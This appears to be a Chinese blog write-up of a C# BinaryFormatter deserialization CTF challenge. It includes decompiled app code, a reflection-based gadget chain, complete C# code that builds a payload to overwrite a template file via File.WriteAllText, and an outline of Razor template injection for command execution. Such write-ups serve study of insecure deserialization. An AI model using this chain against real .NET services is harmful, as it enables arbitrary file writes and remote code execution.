记一道c#反序列化

记一道c#反序列化的ctf题

[toc]

这是i春秋冬季杯的一道题,很少见到c#反序列化的题所以记录一下学习过程。

题目给了docker,从web.config我们能看到WebApplication1.dll是核心dll文件,直接dnspy反编译。核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
// Program
// Token: 0x0600000E RID: 14 RVA: 0x00002174 File Offset: 0x00000374
private static void <Main>$(string[] args)
{
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowFileWrites", true);
WebApplicationBuilder builder = WebApplication.CreateBuilder(args);
builder.Services.AddDistributedMemoryCache();
builder.Services.AddSession(delegate(SessionOptions options)
{
options.IdleTimeout = TimeSpan.FromSeconds(10.0);
options.Cookie.HttpOnly = true;
options.Cookie.IsEssential = true;
});
WebApplication app = builder.Build();
app.MapGet("/", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext)
{
HtmlResult htmlResult = new HtmlResult("");
htmlResult.RenderFile("static/index.html");
return htmlResult;
}));
app.MapGet("/user", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext)
{
string name = httpContext.Session.GetString("username");
string razorTpl = File.ReadAllText("static/user.html");
string result = Engine.Razor.RunCompile(razorTpl, "userKey", null, new
{
name
}, null);
return new HtmlResult(result);
}));
app.MapGet("/admin", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext)
{
string admin = httpContext.Session.GetString("admin");
if (Convert.ToBoolean(admin))
{
string razorTpl = File.ReadAllText("static/admin.html");
string result = Engine.Razor.RunCompile(razorTpl, "adminKey", null, new
{

}, null);
return new HtmlResult(result);
}
string razorTpl2 = File.ReadAllText("static/error.html");
string result2 = Engine.Razor.RunCompile(razorTpl2, "errorKey", null, new
{

}, null);
return new HtmlResult(result2);
}));
app.MapPost("/login", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext)
{
string username = httpContext.Request.Form["username"];
string password = httpContext.Request.Form["password"];
User user = new User(username, password);
user.ic = new ComparerData<string>();
int statu = user.ic.Compare(User.passwordd, password);
user.SetKey(ComparerData<string>.key);
HtmlResult htmlResult = new HtmlResult("<script>location.href='/user'</script>");
if (Convert.ToBoolean(statu))
{
httpContext.Session.SetString("username", username);
string userdata = SerTools.Serialize(user);
httpContext.Session.SetString("userdata", userdata);
}
else
{
htmlResult = new HtmlResult("<script>location.href='/'</script>");
}
return htmlResult;
}));
app.MapPost("/api/UserLoad", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext)
{
string userdata = httpContext.Request.Form["userdata"];
try
{
User user = (User)SerTools.DeSerialize(userdata);
httpContext.Session.SetString("username", user.username);
httpContext.Session.SetString("userdata", userdata);
}
catch (Exception e)
{
return new HtmlResult("no");
}
return new HtmlResult("ok");
}));
app.MapGet("/api/UserExport", new Func<HttpContext, HtmlResult>(delegate([Nullable(1)] HttpContext httpContext)
{
string result = httpContext.Session.GetString("userdata");
return new HtmlResult(result);
}));
app.UseSession();
app.UseStaticFiles();
app.Run(null);
}

题目分析

反编译后很容易看出来在/api/UserLoad处存在反序列化

跟进看看,可以看到是BinaryFormatter类型的反序列化。c#反序列化类型具体可参考https://github.com/Y4er/dotnet-deserialization

反序列化链

关于c#反序列化的大致流程可以看看y4er佬的图

题目还提供了WebLibClass.dll,肯定也是有用的,反编译后看到这个dll一共提供了两个类。存在一个名叫gadget类,听名字就有点问题。

gadget类在构造函数中将我们传入的序列化数据复制给了this.info

然后看到TestOnDeserializing类被添加了OnDeserialized属性,也就是会在反序列化时被自动调用。所以说这应该就是反序列化的入口。

然后在TestOnDeserializing中可以看到从this.info中获取到了名为comparer的数据并且实现了IComparer<T>接口。很明显另一个类ComparerData就实现了这个接口,并且也是可序列化的。

然后又从info中取出了x,y,key这些键的值,需要通过!this.key.Equals(ComparerData<T>.key)这个判断。而ComparerData<T>.key是一个随机生成的。

但我们仔细查看源码,在登陆的时候将ComparerData<T>.key写到了userkey里面。然后将user类序列化后写到了session里面。

然后就是找到能否有泄露userdata的地方,答案肯定是有的,题目直接写了一个路由返回userdata。这样的话就能满足那个判断了。

然后会调用this.comparer.Compare(this.x, this.y);,跟进Comparer函数。
当this.isVoid是true时,会进行反射获取任意类的方法并进行调用,该方法限定为静态且两个参数类型为string。

其中this.c是一个内部类。所以最终就是可以调用任意类的两个string类型参数的静态方法,而这个两个参数就是反序列化时读入的x和y。

最后是调用了System.IO.File.WriteAllText(string path, string contents)直接写文件。最终的反序列化代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
using System;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using WebLibClass;

// using WebApplication1;
namespace ichunqiu_ezdonet
{
internal class Program
{
public static void setField(object o,string name,object value)
{
Type objectType = o.GetType();
FieldInfo fieldInfo = objectType.GetField(name,BindingFlags.Instance | BindingFlags.NonPublic);
fieldInfo.SetValue(o,value);

}
public static void Main(string[] args)
{
ComparerData<string> comparerDataObj = new ComparerData<string>();
string tpl = File.ReadAllText("./error.html");
Gadget<string> gadgetObj = new Gadget<string>(comparerDataObj, "/app/static/error.html", tpl);
setField(gadgetObj,"key","f5d3547aaf8f4f88b908559ab15e154e");
setField(comparerDataObj,"isVoid",true);
Type comparerDataType = comparerDataObj.GetType();
Type innerClassMethodType = comparerDataType.GetNestedTypes(BindingFlags.NonPublic)[0];
innerClassMethodType = innerClassMethodType.MakeGenericType(typeof(string));
Console.WriteLine(innerClassMethodType.FullName);
Object innerClassMethodObj = Activator.CreateInstance(innerClassMethodType);
setField(innerClassMethodObj,"Classname","System.IO.File");
setField(innerClassMethodObj,"Methodname","WriteAllText");
setField(comparerDataObj,"c",innerClassMethodObj);
Console.WriteLine(Serialize(gadgetObj));
}
public static string Serialize(object o)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream serializationStream = new MemoryStream();
binaryFormatter.Serialize((Stream) serializationStream, o);
string base64String = Convert.ToBase64String(serializationStream.ToArray());
serializationStream.Position = 0L;
serializationStream.Close();
return base64String;
}
}
}

这里并不能实现直接rce,具体原因如下参考了网上wp

一开始想直接调用System.Diagnostics.Process的Start(string filename, string args)方法,这个方法是完全符合条件的,但是貌似没有引用System.Diagnostics.Process.dll所以调用不了。后来根据题目意思就是调用了System.IO.File.WriteAllText(string path, string contents)来写文件

ssti

现在能任意写入文件了,但无法执行rce,所以这里还有个ssti的漏洞点。这里我们可以覆盖error.html然后再访问admin就能ssti了。

过程

先使用XNN0504密码登录,然后访问/api/UserExport获取key。

然后反序列化写入1.sh文件,之后覆盖error.html进行ssti,最后访问/admin触发ssti执行命令。

查看flag

总结

小结就是感觉跟java的反序列化非常像,通过这题也基本大致了解了c#的一些基本反序列化过程和类型。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!